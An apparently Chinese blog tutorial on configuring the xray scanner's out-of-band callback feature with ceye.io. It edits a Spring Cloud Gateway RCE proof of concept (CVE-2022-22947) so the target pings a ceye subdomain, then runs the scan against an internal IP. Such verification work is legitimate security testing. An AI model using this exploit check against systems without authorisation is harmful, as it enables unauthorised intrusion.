xray反连功能

社区高级版和普通github下载的版本,有什么区别?

{‘struts’, ‘fastjson’, ‘shiro’, ‘thinkphp’}

高级版多出来这么4个插件

第一步 首先了解一下ceye api

在ceye平台注册一个账号并登录,在http://ceye.io/profile

即可获得标识符和API令牌,构造一个api的访问链接:

http://api.ceye.io/v1/records?token=你的token&type=dns&filter=xx.ceye.io

第二步 修改xray config

vi config.yaml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 反连平台配置,更多解释见 https://docs.xray.cool/#/configration/reverse
# 注意: 默认配置为禁用反连平台,这是无法扫描出依赖反连平台的漏洞,这些漏洞包括 fastjson,ssrf 以及 poc 中依赖反连的情况等
reverse:
db_file_path: "" # 反连平台数据库文件位置, 这是一个 KV 数据库
token: "" # 反连平台认证的 Token, 独立部署时不能为空
http:
enabled: true
listen_ip: 0.0.0.0
listen_port: ""
ip_header: "" # 在哪个 http header 中取 ip,为空代表从 REMOTE_ADDR 中取
dns:
enabled: true
listen_ip: 0.0.0.0
domain: "xx.ceye.io" # DNS 域名配置
is_domain_name_server: false # 是否修改了域名的 ns 为反连平台,如果是,那 nslookup 等就不需要指定 dns 了
resolve: # DNS 静态解析规则
- type: A # A, AAAA, TXT 三种
record: localhost
value: 127.0.0.1
ttl: 60
client:
remote_server: true # 是否是独立的远程 server,如果是要在下面配置好远程的服务端地址
http_base_url: "" # 默认将根据 ListenIP 和 ListenPort 生成,该地址是存在漏洞的目标反连回来的地址, 当反连平台前面有反代、绑定域名、端口映射时需要自行配置
dns_server_ip: "" # 和 http_base_url 类似,实际用来访问 dns 服务器的地址
reverse_api: "http://api.ceye.io/v1/records?token=你的token&type=dns&filter=xx.ceye.io"

将dns的enable改为true,修改domain为ceye提供的域名,例如xx.ceye.io

添加reverse_api,修改为你的账号的token,修改domain为ceye提供的域名

第三步 修改poc

1
2
3
4
5
6
name: poc-yaml-CVE-2022-22947-spring-cloud-Gateway-RCE
set:
reverse: newReverse()
reverseDomain: reverse.domain

ping {{reverseDomain}}

添加reverseDomain参数,xray会从config中获取我们定义domain,然后去访问

修改命令ping xx.ceye.io为ping

第四步 运行xray

./xray-reverse-api ws -u http://192.168.18.30:8080 –poc spring-cloud-Gateway-RCE-CVE-2022-22947.yml –html-output out.html

xray生成了一个随机的字符+xx.ceye.io,然后ping 这个子域名

从api.ceye.io去取回访问结果,如果能取回dns查询的结果,证明存在命令执行漏洞

xray无法解析ceye的结果,因此要手动去访问http://api.ceye.io/v1/records?token=你的token&type=dns&filter=xx.ceye.io

查看子域名是否有回显

以后写个python脚本判断一下

参考资料